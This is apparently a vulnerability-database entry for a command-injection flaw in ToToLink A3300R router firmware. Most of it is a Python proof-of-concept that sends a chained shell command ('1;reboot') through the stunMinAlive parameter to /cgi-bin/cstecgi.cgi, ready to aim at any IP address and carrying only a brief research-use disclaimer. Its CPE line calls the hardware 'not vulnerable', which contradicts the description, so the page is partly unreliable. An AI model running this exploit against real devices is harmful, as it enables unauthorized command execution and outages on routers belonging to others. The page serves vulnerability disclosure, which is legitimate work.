An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stunMinAlive parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL
# Replace <target_ip> with the actual IP address of the vulnerable device
target_url = "http://<target_ip>/cgi-bin/cstecgi.cgi"
# Vulnerable parameter: stunMinAlive
# Payload attempts to execute 'reboot' command using a semicolon to chain commands
# Change 'reboot' to 'ping <attacker_ip>' for verification without causing downtime
data = {
"stunMinAlive": "1;reboot"
}
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (compatible; PoC/1.0)"
}
try:
# Sending POST request to exploit the vulnerability
# No authentication is required based on the CVE details
response = requests.post(target_url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully. Check if the device rebooted.")
else:
print(f"[-] Received status code: {response.status_code}")
except Exception as e:
print(f"[!] Error occurred: {e}")